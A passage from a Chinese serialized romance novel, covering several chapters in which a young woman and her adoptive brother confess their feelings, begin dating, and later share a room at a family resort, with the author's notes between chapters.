几分钟后,他端着水杯回来,她还维持刚才的姿势坐着,身子一动不动,只有眼睛偶尔睁开一下,又迷迷糊糊地阖上一会儿。 他坐到她身侧,将水杯递到她手边,“喝了蜂蜜水。” 她睁开眼睛瞥他一眼,目光迷离,本能的拒绝道:“我不喝。” 她现在主打跟谢昱宁对着干,他说什么她都要拒绝,试图远离他的接触。 谢昱宁眯起眸子审视着她,“我说什么都反驳?” “是啊。” “那你明天别吃饭。” “我就吃。” 谢昱宁挑眉,“那你别喝蜂蜜水。” 钟卿悦瞪眼,“我就喝。” “那你别跟我谈恋爱。” “我就谈。”话出口,她人突然愣住,慌乱道,“不是,我瞎说的。” 谢昱宁:“反悔?” “不是的,是你套路我,喝醉了就晕,说顺口了,我没有,嗯没有答应。”她着急地解释,说出的话前言不搭后语。 谢昱宁没接话,主动终止了这个话题。 “把蜂蜜水喝了。” 她小心翼翼抬眼皮瞧他一眼,看他神色无恙,她立刻接过杯子,双手抱着一股脑都喝了下去。 玻璃杯见底,她老老实实还给他,“喝完了。” 谢昱宁接过没说话,拿着起身离开。 钟卿悦盯着他离开的背影,双眼迷离地打了个哈欠,侧身躺了下来。 迷迷糊糊刚要睡着之际,口袋里的手机轻微震动将她惊醒,她摸索着掏出手机,睁开一只眼睛去看,是周沐渊发来的消息,长长一串。 她打着哈欠,没耐心地匆匆扫过,就看到最后一句:你愿意和我在一起吗? 她翻个身,眯着眼举起手机打字,[不好……]意思两个字还没打出来,手机再次震动,导致直接脱手,一下子砸到她下巴上,疼得她倒吸一口气。 “烦死了。”她稀里胡涂地拿起手机,烦躁地往地毯上一扔,嘟囔着,“添乱,不要再烦我了。” 手机远离,没了声音,她终于可以安心闭上眼。 谢昱宁洗完杯子,擦干手回客厅时,钟卿悦已经躺在沙发上睡着了,身体蜷缩在一角,头发凌乱的铺开,发尾垂在地毯上,皱起的眉头动了动,眼睫毛轻颤,睡得并不安稳。 谢昱宁走上前想要抱她回房间,却看到她手机掉在地毯上,屏幕亮着。 他俯身捡起的瞬间,清晰看到屏幕上绿色气泡框里长篇消息。理智和教养告诉他手机是私人物品,不要看,可他视线却无法挪开。 他看到对方的头像是一张侧脸照,男性,发型面容都很熟悉,钟卿悦给他的备注是——周沐渊。 这个名字出现时已经让他无法顾及家教礼仪,他视线移动去看消息,通读下来是长篇大论的幼稚表白,用空洞的字眼拼凑出虚无缥缈的承诺和未来,只知许诺不懂行动的草包。 他轻嗤一声,继续往下看去,身子却突然一僵,瞳孔微缩。 空荡荡的回复栏只有一个字——好。她要答应周沐渊的告白,但打出的回复还没来得及发出就睡着了。 原本压下去的情绪在此刻全部爆发了出来,接吻、表白、醉酒。 他阖上眸子,捏紧手机的指尖泛白,因用力带着微微的颤抖。 下一秒,手机忽然被抽走。 钟卿悦醒了,她看到谢昱宁在看她手机。 她撑着沙发坐着,将手机熄灭塞进了口袋,“这是我手机,你拿错了。” 谢昱宁缓缓抬起眼,黑眸一瞬不瞬落在她脸上,眸色深沉如墨,“你要和他在一起?” “没有。” 谢昱宁眼底的愠色渐浓,她一直都在骗他,说不喜欢周沐渊是骗他的,说没有答应表白也是骗他的。 “你为什么宁愿选择他也不肯看我一眼?”他声音带着克制的轻颤。 钟卿悦偏头躲开他的目光,“你是我的哥哥,我们是兄妹。” 谢昱宁靠近她,单膝跪在地上,握着她的手腕强迫她看向他,“我们没有血缘关系。” “不是这样的。”她沉默一瞬,无力道,“没有血缘关系你也是我哥。” 谢昱宁:“我可以不是。” 她不说话,只是摇着头挣扎着手腕,她的头越来越疼,太阳穴像要炸开一般,脑子一瞬清醒一瞬胡涂,整个人仿佛坠入满是迷雾的森林,不知道前面的路是什么样子,后面也是无尽的黑暗,她想逃,只能闷着头往前跑。 谢昱宁不想给她离开的机会,他怕一松手她就会越走越远。他倾身靠近她,声音低哑,近乎恳求道:“我离开钟家,不再是你哥哥,那样你会不会喜欢我?” 离开钟家是她最怕看到的结果,她猛然看向他,“不要,你不能离开。” “为什么?为什么你要找所有理由拒绝我。”他紧抿着唇,双目赤红,执拗地想要找寻到答案。 钟卿悦心里酸得很,她想告诉他,她是喜欢他的,可是…… “哥,叔叔阿姨去世了,离开钟家你就没有家了,我不想你没有家,我不想看你自己一个人,我求你了,你不要再说了。” 眼泪夺眶而出,她整个人蜷缩起来颤抖着,“我们回到以前好不好,就当没有发生过,我是妹妹,你是哥哥,我们是一家人,永远生活在一起。” “我想要的不是这个。”谢昱宁将她抱在怀里,“如果我是哥哥,你会喜欢上别人,你会和他恋爱结婚白头到老,那我呢?那我就没有办法抱你了。” 他收紧手臂,眼眶猩红,声音哽咽嘶哑,“悦儿,你能不能不要离开我,你喜欢我一下好吗?” 她终于忍不住,在他怀里放肆大哭起来,泪水仿佛断了线的珠子,不断滚出眼眶,洇湿他胸口的衬衫,留下一片深色的水印。 “哥,对不起,我骗了你,对不起。”她抽噎着,手臂紧紧回抱住他,指尖攥起他的衬衣,牢牢捏在手心。 “我不喜欢周沐渊,他太讨厌了,他在我睡觉时给我发消息,还让我把手机砸到了脸上,好疼。我也不喜欢贺文杉,他是我最好的朋友,我希望他能喜欢上别人,我们还能做朋友。” “我骗了你,其实我好久之前就喜欢你。” “可是你是我哥哥,我知道这是不对的,我不能说出来。我怕你不喜欢我,我怕你觉得我是怪物,我怕你离开家,那样你就没有家了,你怎么办,你已经没有过一次家了。” 她越哭越凶,整个人不停地颤抖。 谢昱宁身子发僵,只是本能的环抱她,想把她揉进身体。 泪水滑落眼眶,落在她发丝上,他哑声道:“有你我才有家。” “对不起,怪我,让你害怕那么久。” 钟卿悦在他怀里摇头,“哥,哥,怎么办……” 她一遍遍喊着他,她无法逃避自己的感情,但也无力去处理这样的关系。 她好矛盾,她想要和谢昱宁在一起,但她又有无限的顾虑。如果爸爸妈妈知道会怎么样?朋友看到她和自己的哥哥在一起又会怎么样?她该怎么去解释,她喜欢上了自己的哥哥,即使不是亲生的。 谢昱宁拍着她的后背,“我会处理,别怕。” 她抽泣着,从他怀里抬起头,泪眼婆娑,眼眶鼻头通红,“哥,他们会把我们当怪物的。” “不会。”他伸手揉着她发顶,“相信我。” “真的吗?” 谢昱宁勾起唇角,指尖拭去她脸颊的泪痕,“真的。” 她吸吸鼻子,不由自主撇起嘴,又想哭。 “不能哭了。”谢昱宁看出她的情绪,“一会哭得更难受了。” “哦。”她咬着下唇又把泪咽了回去。 谢昱宁摸摸她发顶,“你是答应我了对吗?” 她脸颊一热,无所适从地低下头,“啊?什么?” “又反悔?”谢昱宁无奈将她搂进怀里,“没用了,我已经知道了,你休想再骗我了。” “那就勉强答应你好了。”她声音闷闷的,嘴角却忍不住扬起笑容。 “嗯,我好好表现。” 钟卿悦蹭蹭他,“我司有试用期,你现在只是试用期男友哦,表现不好就辞退你。” “嗯。”他应得宠溺,“都听你的。” 大哭一场后,钟卿悦没了醉意,只有一个后遗症——头疼。 她委屈巴巴地跟谢昱宁控诉,“都怪你,我头好像要炸了。” “嗯,怪我。”谢昱宁松开她,坐到她身旁,“我帮你揉揉。” 她闭上眼,任由他指尖按压着太阳穴,力道适中,规律的一下又一下。 片刻后,她昏昏欲睡,余光瞥了眼他的腿,索性直接躺到了他身上。 他手一顿,勾起唇角,神色愉悦。 她在她腿上蹭蹭,找到舒服的姿势,身体蜷缩起来,“哥,我没有跟周沐渊接吻,那是假的,借位的。” “嗯。”谢昱宁沉吟片刻,“但我看到你手机了。” 钟卿悦:“没关系,我允许你看。” “不是,是我看到你要答应他的表白。”??? 钟卿悦一脸懵,回头望向他,“我没有呀。” “你要回他好。”他语气有些委屈。 她连忙从口袋掏出手机,解锁屏幕,和周沐渊的聊天框再次出现在眼前,她垂眸看向回复框,果然徒留一个“好”字。 “哎呦,好像删掉了,幸好没发出去。”她连忙清空回复框,“我本来想回不好意思,可能手机掉下来的时候误触了。” 谢昱宁点点头,没说话。 她再次点开回复框,指尖迅速打字,“不好意思,周同学,我有男朋友了。” 消息发出,她扬起手机给他看,笑眯眯眨眨眼,“怎么样,满意吗?” 谢昱宁垂眸看她,眼底笑意渐深,“嗯,满意,女朋友。” 望着他的眼,听到他的话,她突然觉得脸颊有些滚烫,忙起身躲开他,嘟囔道:“我要洗澡睡觉,我好困。” 谢昱宁不逗她,担心问道:“头还疼吗?还晕吗?想吐吗?” 她摇摇头,又点点头,“只有一点点了,不晕也不想吐,好像醒酒了。” “那去洗澡,洗完澡还疼就吃止疼药。” 她乖巧点头,指尖戳了戳他的手,“那我去洗澡了。” 他眸色微黯,反手将她手拢进掌心,“再等会?” “要不……再等会吧。”她眨眨眼,嘿嘿一笑,又躺回他腿上。 — 翌日早八,她刚进教室,路畅立刻就从座位上跑过来。 “卿悦,你没事吧?”路畅上下打量着她。 钟卿悦莞尔一笑,勾住她胳膊,“没事呀,谢谢你路畅。” 路畅看她脸色正常,松了口气,“没事就好,我还怕你喝那么多酒再吐呢。” “没有,就头晕头疼了一下。”说到这,她抿唇垂下头,其实头疼也是她哭得太厉害了。 “那还好,下次可不要喝那么多了。”路畅犹豫片刻,压低声音道,“你下次如果不开心可以跟我倾诉,我们是朋友,我可以当你的树洞,但你不要再喝酒了,喝醉了太危险了。” “好好好。”钟卿悦靠着她脑袋,“路畅你真好。” “不过我以后不会不开心了。”她眨眨眼,“我都解决好了。” 路畅非常有边界感,钟卿悦不说,她也不会问具体情况,“解决好了就好,我还是希望卿悦天天开心。” 说话间,两人已经坐回位置。路畅跟她八卦昨晚的事情,“你还记得周沐渊跟我一起送你回的家吗?” 钟卿悦点头,“我没断片。” “我俩从你家出来后就打车回学校,他一路跟我说了很多对你的喜欢。他说觉得你漂亮,大概猜到你家境很好,但没想到那么好,他很纠结,不知道要不要继续追求你。” 钟卿悦听着,翻了个白眼,低声道:“昨晚他给我发消息表白了。” “啊?”路畅大惊失色,“真的吗?我听他昨晚最后那个意思是不想再追求你了,怎么变得那么快。” 钟卿悦耸耸肩,“不知道。” “那你怎么回得他?” 钟卿悦刚想说话,抬眸就看到周沐渊恰好进教室,她立刻垂下眼躲开和他对视。 “我告诉他我有男朋友了,他没回我。” 路畅点了点头,“那他估计就放弃了吧。” 两人说着话,钟卿悦余光看到周沐渊的身影靠近,她立刻捏了下路畅的胳膊,转移话题,“社团评比什么时候出结果来着?” 路畅反应也很快,“下周。” 话音落,周沐渊已经站到了钟卿悦桌边。钟卿悦抬眸看他,刚要说话,他突然旁若无人地朝她鞠了一躬。 大庭广众下,教室里已经坐了不少学生,他的动作引起不小的动静。 钟卿悦被他吓了一跳,下意识往路畅身边靠去,“周同学,你干嘛?” 周沐渊抬头,脸色微红,低声道:“钟卿悦同学,这段时间给你造成困扰了,抱歉。我过来是想告诉你,我不追求你了。祝你幸福。” 说罢,他不等钟卿悦回话,转头火速离开。 钟卿悦愣愣眨巴眨巴眼,和路畅面面相觑,半天都没说出话。 许久,她消化完,吞了下口水,“好有礼貌,不追求都要告诉我一声……” 【📢作者有话说】 恭喜谢总追爱成功! 接下来开始甜甜的恋爱和对抗家庭咯,祝他们好运吧! [撒花]本章掉落小红包 40 第 40 章 ◎亲吻脸颊◎ 恋爱后的日子十分美妙, 每天都像是在下粉色泡泡雨。 钟卿悦变得比之前更黏谢昱宁,谢昱宁也乐在其中,恨不得她一直依赖他。 两人感情也在暧昧中火速升温。 这天晚上, 谢瑞博给谢昱宁打电话, 上来连寒暄都没有, 开门见山道:“大哥, 有空不?周末我和我姐生日, 这是她接手谢家的第一个生日,我想给她个惊喜。” 谢昱宁正在挑游戏卡带,想也没想就拒绝道:“没空。” 谢瑞博翻个白眼,吊儿郎当道:“您老故城项目不早结束了,江城一大堆事儿等着,你非守在故城干啥呢咱就说。妹妹都那么大人了, 还用你看着不成?” 谢昱宁懒得听他啰嗦,“还有事吗?没事挂了。” “有有有,我的好大哥, 你回来呗, 带着妹妹一起。” 谢昱宁漠然开口,丝毫不顾及兄弟感情,“不。” 此时钟卿悦刚洗完澡下楼, 她没看到谢昱宁在打电话,只看到他蹲在游戏柜前十分投入的选卡带,于是玩心大起, 放轻步子,悄然朝他走近。 当距离他只有几米远的时候, 暴露近在眼前, 她不再隐藏, 一个飞扑到他后背上,双手迅速捂住他的眼睛,“请问……帅哥,你是谁的男朋友?” 谢昱宁早察觉到她的动静,并未吓到,唇角轻轻勾起,声音含笑,“那你要问一下我女朋友钟卿悦小姐了。” 钟卿悦扑哧一下笑出声,手顺势滑落,搂住他脖子,脸埋在他颈间蹭了蹭,又闻了闻,“你好香啊,哥哥。” 电话还未挂断,在对面的谢瑞博将整段对话一字不差地听见耳朵,他愣在原地,仿佛经历了天劫雷劈,劈得头发都炸了起来。他一脸不可置信道,“我靠!你俩搞在一起了!!” 他的声音震耳欲聋,谢昱宁不得不拿远手机,钟卿悦也听到了对面的话,“你在打电话吗?” “嗯。”谢昱宁应了声。 钟卿悦怔了几秒,迅速离开他的后背,一步退出去老远,“我不知道。” “跑哪去?”谢昱宁反手一把拉住她。 钟卿悦被他拽回面前,心里五味杂陈,支支吾吾半天也没说出口,她还不适应有人知道她和谢昱宁的关系。 谢昱宁眯起眸子,霎时间明白了她的顾虑。他倾身上前,手臂自然搂住她的腰宣示主权,眉梢上挑,不满意味尽显。 “是我堂弟的电话,谢嘉希的弟弟。” “哦。”她乖巧地应了声。 谢瑞博在电话那头连连应声,“诶诶诶,是我,大嫂,我叫谢瑞博。” 大嫂……? 钟卿悦脸一热,连带耳廓都泛起粉色。 谢昱宁蹙眉,她本身就胆子小,谢瑞博非给她吓坏了。他把手机拿到耳边,不爽道,“还有事?没事挂了。” “老天爷,大哥,大哥,哥,哥,我跪下求你,别挂。”谢瑞博想要八卦的心达到了顶峰。 “说。”谢昱宁没什么耐心。 谢瑞博:“你让我跟大嫂说句话,求你了。” “你要说什么,我给你转达。” “不行!我得跟大嫂认识下,你转达万一败坏我名声哪行!”说罢,谢瑞博怕谢昱宁不肯愿意,对着手机开始大喊道,“大嫂,大嫂,我想跟你说句话。” 钟卿悦听得一清二楚,澄澈的双眸望向谢昱宁,眨巴眨巴,“要不我跟他说两句?” 谢昱宁万事都遵从她的意见,点头应了声。 钟卿悦接过手机,“喂。” “大嫂,真是大嫂。”谢瑞博激动的飞起。 如此清晰的称呼响在耳边,钟卿悦更加脸红,她抿抿唇,“你找我有事吗?” “有有有。周末你有时间吗?我和我姐生日,你们一起来玩啊。” 谢昱宁在一旁听着,适时问道:“我依着你,你想去吗?” “我都可以。”钟卿悦回了谢昱宁,又问谢瑞博,“我只有两天假,如果很远的地方我们就不去了。” “不远,我想去我哥的度假村,你问问他愿意不?” 钟卿悦微愣,度假村?谢昱宁名下还有度假村吗? 她看向谢昱宁,谢昱宁解释道:“我拿到的我爷爷遗产之一,在江城边上,不远,两天足够,你愿意去我们就去。” 钟卿悦点点头,“那去吧。” 能邀请到她,是谢瑞博万万没想到的,他高兴道:“好嘞好嘞,大哥大嫂,我们周六见啊。” 钟卿悦应了声。 “我不打扰你们亲热了。”谢瑞博笑得合不拢嘴,“祝幸福祝幸福哈。” 说着,他立刻挂断了电话。 钟卿悦听到耳边的忙音,有些不好意思地把手机还给谢昱宁。谢昱宁接过,看也没看,随手扔到了沙发上,人则眯着眸子靠近她,“为什么跑?害怕别人知道?” “也没有。”她扣着他手心,“我就是还没准备好。” 她顿了顿,拉着他坐回沙发上,分外认真地看向他,“刚才我想了一下,我对你很满意,应该不会跟你分手了。但我毕业前不想让爸妈知道,可以吗?” “我都依你。” 钟卿悦抬眸瞥他一眼,又兀自垂下眼,小声嘟囔了一句,“我会在其他人面前给你名分的。” 闻言,谢昱宁勾起唇角,“嗯。” “那我们打游戏吧。” 说着,钟卿悦就要起身去拿卡带,谢昱宁握住她手腕,一把将她拉了回来,她转了半圈,一个踉跄朝他怀中扑去。 他歪头伸开手臂等她投怀送抱,她低呼一声,下一秒已落进他怀里。 “谢昱宁!”她控诉地瞪他一眼,“你又使坏。” 他含笑将她抱在自己膝上,“没有,是我还想跟你说话。” “你要说什么?”钟卿悦打量着他,等待他狡辩。 “你刚刚不是说我很香?”他垂眸凝视她,眼中笑意分明,“你要不再闻闻?” “好啊好啊。”她不客气地环住他脖子,脸直接埋到了他颈间,小巧的鼻子用力吸着,丝丝缕缕的气息喷在他肌肤之上。 他后背一僵,瞬间渗出一层薄汗,喉咙发紧发胀,颈间的酥麻感迅速蔓延全身。 他喉结上下滚动,有些低估她对他的诱惑,倒有些搬起石头砸自己的脚的感觉。 钟卿悦一无所知,还在不停地吸气,憋得慌了就猛呼一口。 导致他脖颈间一会儿是细微的凉气,一会儿是滚烫的呼吸。 “悦儿……”他声音低哑沉闷,所有情愫都克制在身体内。 听到他叫她,她也吸累了,歪头趴在他肩上,气喘吁吁,“好闻是好闻,就是头有点晕。” 她顿了顿,“你是安眠药吧。” 他微微偏头看她,她明亮如星的眸子近在咫尺,长而卷的睫毛扑闪扑闪,偶尔遮住眼底细碎的星芒。他一瞬失神,就那么看着她,忘了呼吸也忘了眨眼。 钟卿悦察觉他突然的安静,好奇抬眸看向他,视线交汇纠缠,他眼底似有暗流涌动,深沉而幽静。她顺着他的面容往下,看到挺拔的鼻梁,细腻的肌肤,连毛孔都看不见。继续往下,是一张微抿的唇,带着淡淡的肉粉色,看上去触感应该不错,软软的样子。 她下意识吞了口口水,想吃……? 这对吗? 这不对吧! 她慌忙闭上眼,从根源杜绝思想上的污浊,她太不单纯了!!! 谢昱宁察觉到她的想法,眸中克制不住的情愫泄鲁思缕,他偏头更加靠近她,她身上熟悉的馨香萦绕在鼻息间。 他垂眸,目光落在她晕起绯红的脸颊上,只是思虑片刻,他便靠近,用唇轻啄了一下,非常轻非常缓的一下。 她吓了一跳,咬紧下唇,接着意识到他在亲她! 她猛然睁开眼,目光落在他脸上,脑中只有一个想法,果然很软!! “我……”谢昱宁刚开口,她立刻伸手捂住他的嘴。 “你等会说。”她咽了下口水,“我这个人不爱占便宜,我还回来。” 话音落,她迅速在他脸颊一侧轻吻了一下。 谢昱宁瞳孔微缩,唇间温热的手和脸颊滚烫的吻无法成正比,但那柔软的触感太过快速,还未察觉就已然消弭。 她不等他回神,立刻从他怀里逃脱,如受惊的小兔,蹦蹦跳跳地上了楼。 那晚的游戏没打成,但吻却很美好。 — 周六是谢嘉希和谢瑞博的生日,钟卿悦从谢昱宁那里了解到,两人是龙凤胎,谢嘉希比谢瑞博先出生十分钟,所以是姐姐。 谢瑞博虽然嘴上不太服,但对谢嘉希好得没话说,属于那种我姐只有我能欺负的想法。 往年他们也庆生,但今年谢瑞博想给她大肆庆祝一番,原因无他,只因谢嘉希今年接手了谢家,而她这些年为之付出了太多,谢瑞博都看在眼中,他替她高兴。 他准备了很多惊喜,从周五一早就在度假村忙碌。 周五下午钟卿悦没课,她和谢昱宁便打算早点过去帮帮忙。 傍晚时间到了度假村时,谢瑞博激动地等在门口。 看到熟悉的车子开来,他立刻扬起嘴角,哎呦第一次见大嫂还怪紧张的。 那天他得知这个惊天大秘密后,迅速分享给所有认识谢昱宁的人,逢人就说,“我大哥恋爱了。我有大嫂了。铁树开花了,枯木发芽了,哑巴说话了,没错,我哥恋爱了!” 有他这个大嘴巴一宣扬,没两天他们圈子里就传遍了,这两天谢昱宁收到的慰问电话和信息加起来没有一百也有九十了。 不仅如此,谢瑞博还骄傲地表示周六就能见到大嫂和大哥同框,关系好的就厚着脸皮要来参加聚会,关系一般的就讨好着希望他拍点照片给看看。 他一律拒绝,“那不行,想看你们自己想办法。” 得,众人看出来了,他就是炫耀。 车子停到度假村门口,后排门打开,谢昱宁俯身下车,谢瑞博看到他第一眼一愣,接着又往车厢里瞧,天色渐暗,没看到有人,“大哥,我大嫂呢!你把我大嫂放哪儿了!” 说着,他着急忙慌就往谢昱宁身边凑。 谢昱宁蹙眉瞥他一眼,他缩起脖子后退一步,大哥的威严不得不让人畏惧,他骨子里就害怕谢昱宁。 紧接着,钟卿悦从车上跳下来,站定在谢昱宁身边,手挽着他的胳膊,眯眼扬起唇角,“hi,堂弟。” 谢瑞博瞪大眼睛,“大…嫂……?” “你好你好。”她唇边梨涡深深。 谢瑞博:“你好小啊……” 钟卿悦笑眯眯打量他一眼,他穿着卡通连帽卫衣,灰色卫裤,头发抓得起飞,耳朵上还戴着耀眼的钻石耳钉。 “你也不大。” 谢瑞博眼睛一亮,“真的?” 钟卿悦认真地点点头。 谢瑞博仰天感叹:“大嫂真好啊!” “大嫂好!大嫂非常好!” “大嫂,我将是你忠实的迷弟,坚定的维护你!” 【📢作者有话说】 [撒花][撒花]来啦来啦!哎呦,一写暧昧气氛就全程姨母笑。 40-50 41 第 41 章 ◎我们两个人挤挤吧◎ 谢瑞博见到钟卿悦后如同浮萍有所依, 在谢昱宁面前说话都趾高气昂起来。 他走在最前方,领着两人往度假村深处去,一边走一边絮絮念, “大哥, 你没来过吧?别看是你的产业, 我比你可熟悉多了。你放心, 我邀请你们来可是事无巨细都准备好了, 精心策划,周密安排,精益求精。” 钟卿悦津津有味地听着他唠叨,适时搭了一句话,“没想到你心那么细。” 被她一夸,谢瑞博直接原地起飞, “大嫂,能得到你一句赞赏,弟弟我没有白付出。” 钟卿悦扑哧一下笑出声, 这个人怎么生的, 还挺好玩。她刚心里想完,谢瑞博下一句就让她大跌眼镜。 “我保证,你跟我大哥在这呆一天感情突飞猛进, 如胶似漆,呆两天……” 谢昱宁蹙眉,立刻出言阻止, 防止他说出些没边界的话,“谢瑞博, 你话这么多?” “我跟我大嫂说话呢, 你不要插嘴, 大哥。” 钟卿悦尴尬笑笑,“要不换个话题……?” 怎么扯到他们身上来了,他说的这些话她可接不住。 “行啊。”谢瑞博没多想,一扬手开始介绍起度假村的布局。 一路说一路走,他领着两人拐进幽静的庭院中,这是度假村最深处的私人小院,不对外接待客人,住在这里的一般都是自家人。 中式风格的四合院,白墙青瓦,透出浓郁的古朴韵味,中庭错落有致摆放着形态各异的盆栽,宁静雅致,带来无限生机。微黯的夜色下,悬挂的灯笼散发着柔和的暖光,洒满庭院各处,营造出静谧惬意的氛围。 “我就送你们到这了!”谢瑞博停在院中,“你们尽可放心,方圆五百米的所有院子都没人住,我把来得客人全安排在前面了。” 他暧昧地笑笑,“懂都懂,随意哈随意哈。” 说完,他怕谢昱宁打他,缩着脖子一个侧身溜到门口,“你们先歇着啊,休息够了来前面吃晚饭。” 谢瑞博离开,钟卿悦环视着院子,“这边景色真好,空气也新鲜,天然氧吧呢,怪不得把度假村建在这里。不过……” 她歪头好奇看向谢昱宁,“哥,你居然还分到了谢家的产业,他们认你了吗?” “我爷爷遗嘱这么安排的,但我拿到的没有我二叔他们多,所以他本质上还是不认可我爸。” “没关系,我们不稀罕,给是你应得的,不给也无所谓咯。”钟卿悦走到他面前,仰头笑吟吟看着他,“你还有我。” 谢昱宁轻轻扬起唇角,大手揉着她发顶,“有你就好。” “走啦走啦,让我们进屋看看。”钟卿悦拉着他往屋里走去。 推开沉重的木门,眼前豁然开朗,不算大的小院里居然别有洞天,干净整洁的客厅,古色古香的茶室,走廊深处是一间偌大的卧室,传统装修风格,中间是一张大床,床头背景是一幅清雅的水墨画,床一侧有一张书桌,桌上摆着书本杂志和绿植。越过屏风,里面是浴室和衣帽间,布局合理周到。 钟卿悦围着正方转了一大圈,发现只有一间卧室。她蹙眉思索着,难不成另一间卧室在隔壁屋子里? 想着,她便去东厢房找。 推开东厢房的门,发现东厢房是一间会客室,再往里深入是书房、卫生间,并没有卧室。 这不对吧? 她离开东厢房,此时谢昱宁恰好从正房出来,两人目光对视,默契地走向西厢房。 推门而入,西厢房是一个小型的娱乐场所,有休息室、酒柜,隐秘走廊深处居然还有一个露天汤池,流动的温泉水淅淅沥沥淌着,冒着白茫茫的热气,隐藏在交迭的植被中,多了一丝神秘色彩。 她哑口无言,愣愣地眨巴着眼睛,不是吧?就一间卧室??? 谢昱宁也察觉到这个问题,平静开口,“你睡卧室,我睡沙发。” “还有别的院子吧。” 她没记错的话,正方的沙发是中式的红木沙发,椅背跟扶手都是木头,只有下面铺了垫子,根本没办法睡人。 两人走出西厢房,谢昱宁道:“我去旁边院子看一眼。” 钟卿悦点了点头,此时天已经彻底暗下来,院子里只靠几盏灯笼照明,植被又多,装修又复古,在夜色下居然有种阴郁的感觉。 现在整个度假村除了前院的工作人员,只有他们三个人,谢瑞博还住在前面,百亩的后院只有她和谢昱宁。 她吞了下口水,“等一下,哥。” 谢昱宁已经走到院门口,闻声又折返回来,“嗯?” 她拉住他胳膊,嗫嚅道:“我有点害怕,要不你别去了。” 谢昱宁轻笑一声,“我睡沙发陪你。” 钟卿悦点点头,思索着晚上还是她睡沙发吧,毕竟她个子小,蜷缩一下还是可以的,他那个身高在红木沙发上是根本没办法?*? 躺的。反正只有一晚上,将就一下就好了。 两人收拾完东西,去前院找谢瑞博吃饭。 谢瑞博给度假村的厨师都放了假,专门从国外请了他喜欢的厨师来准备生日宴会,今晚提前试菜。 到宴会厅的时候,巨大的餐桌前就坐着他自己,一排厨师毕恭毕敬地候在一侧。 他招手唤道:“大哥大嫂,快来尝尝味道怎么样。” 走近,桌上摆满了各式各样的美味佳肴,从中餐到西餐,还有各类酒和甜品、冷饮。 钟卿悦第一感觉不是好吃与不好吃,而是觉得谢瑞博真的很看重这场生日会。他和他姐姐的关系一定很好,虽然他表面上看起来大大咧咧的,办得事儿偶尔也不太靠谱,比如只给他们一间房这个事…… 但是,他又在一些事情上十分细心,比如菜品,比如他布置的惊喜。 坐下吃饭,谢瑞博一边吃一边提意见,做得好的菜他会不吝啬的夸奖,做得不太符合他姐姐口味的,他会提出改进点,总而言之,一切都在围绕谢嘉希进行。 品完菜,他才静下来和两个人聊布置和惊喜,一边讲解自己的想法,一边询问钟卿悦和谢昱宁的意见。 谢昱宁性格寡淡,所有的浪漫细胞都只有在面对钟卿悦时才会苏醒,所以他没有任何意见。 钟卿悦也没什么想法,因为谢瑞博已经安排的事无巨细了,她唯一提得点便是:“一定要让嘉希姐穿她最喜欢的衣服,化最漂亮的妆。” 谢瑞博五大三粗的,没想那么多,被她这么一提点,连连点头,“对对对,我姐要穿着工装来了,出不了片,她得把我打得鼻青脸肿的。” 吃完饭,两人陪着他盯布置,一直忙到凌晨才回到小院。 进了屋,谢昱宁说道:“你先去洗澡吧。” 钟卿悦刚坐到沙发上,想到两人现在共享一个浴室便连忙站起来,“好。” 她钻进卧室,抱着洗漱包和睡衣直奔浴室。 洗完澡出来时,她站在衣帽间有些为难,她没想到两个人会住在一起,只拿了一件平常睡觉穿的真丝吊带睡裙,领口虽然有褶皱设计,但又宽松又低领,似乎不太合适穿出去。 她犹豫一瞬,换下睡衣,穿上了卫衣和裤子。 走出卧室,谢昱宁恰好端着茶杯从茶室出来,顺势便递给了她,“没放茶叶。” 谢昱宁知道她的习惯,她洗完澡总爱找水喝。 她笑眯眯接过,“你去洗吧,哥。” 谢昱宁点头应了声,转身进了卧室。 趁着他洗澡的工夫,她从卧室的柜子里找到另一床被子,又拿了一个枕头,一块儿抱到了沙发上铺好。 这就是她今晚的小窝了,她躺下试了试,对于她来说还好,虽然伸不开腿,但也能将就。 谢昱宁洗完澡出来时看她正躺在小窝里看手机,蹙眉道:“你去卧室睡。” 她摇摇头,抱着被子赖道:“我不去,我在沙发上。” “晚上会滚下来的。” 她瞪他一眼,“才不会。” 他无奈,走上前半蹲在她身侧,“听话。” “你听话。”她学着他的模样,“你个子太高了,在沙发上没办法睡,我个子小小的,正正好。” 谢昱宁见好言相劝没有效果,不再多言,将她的手塞进被子,温柔地掖了掖被角。 钟卿悦以为他接受了她的意见,笑眯眯地缩了缩脖子,缩进被子里,只露出一个圆圆的脑袋。 下一秒,她身体陡然凌空,吓得面容失色。谢昱宁居然将裹着被子的她直接抱了起来,而她双手都被束缚在被子里,根本没有挣扎的余地。 “诶,你要干嘛!谢昱宁!” 谢昱宁垂眸瞥她一眼,“送你回卧室。” “我不回去!”她试图扭动身子挣扎,而他手臂只需微微收紧便将她整个禁锢住。 “老实点。”他语气含笑。 “谢昱宁!你欺负人,有本事放我出来!” “放你出来你能跑了?” 她哑口无言,是啊,放她出来她也跳不出他怀里,又不是没试过。 到了卧室,他俯身将她放在床上,安抚地摸摸她的头,“听话。” 没了束缚,她坐起身,动之以情晓之以理,“哥哥,你在沙发没办法睡,要不你去隔壁吧,我自己在这里。” 谢昱宁淡淡摇头,“没事,一晚而已。” “一晚而已,我也可以睡沙发啊!” “你不可以。”说罢,他揉揉她发顶,“睡吧,我走了。” 他转身往门口走去,钟卿悦偏头瞥了眼大床,挺大的。 她突然起身,赤脚跳到地上追上他,一把拉住他手臂,小声道:“哥,要不我们两个人挤挤吧。” 【📢作者有话说】 [害羞]下一章好像要真正意义上同床共枕了呢 42 第 42 章 ◎摸摸腹肌◎ 漆黑的房间下寂静无声, 钟卿悦能清晰听到耳畔绵长的呼吸声。她居然和谢昱宁躺在了一张床上,盖着同一床被子,这怎么想都过于离奇了。 她小心翼翼侧过身, 缓慢蜷缩起身体。借着朦胧光线, 她看向身边的身影, 谢昱宁平躺着一动不动, 似乎已经睡着了, 单手枕在头下,立体的侧颜只能看到模糊的黑色轮廓。 “不困?”他低哑的声音陡然响起,在寂然的深夜格外清晰。 钟卿悦慌张眨眨眼,小声道:“我吵醒你了吗?” “没,我还没睡着。”谢昱宁抽出胳膊,随即侧过身面对她, “怎么不睡?” 他离得不远,钟卿悦能感受到他身体带来的温热气息,幽幽散发, 继而包裹围绕过来。 她摇摇头, “不知道,好像认环境了。” 默了默,谢昱宁缓慢开口, “今年的表带还没换,等回故城我们去买表带。” “你上次说得那家咖啡厅下周就开业了,周末我陪你去打卡。” 他在陪她聊天, 没有目的的闲聊。 钟卿悦小心将被子抱在怀里,心底暖暖的, “表带我买了, 是今年的限定款, 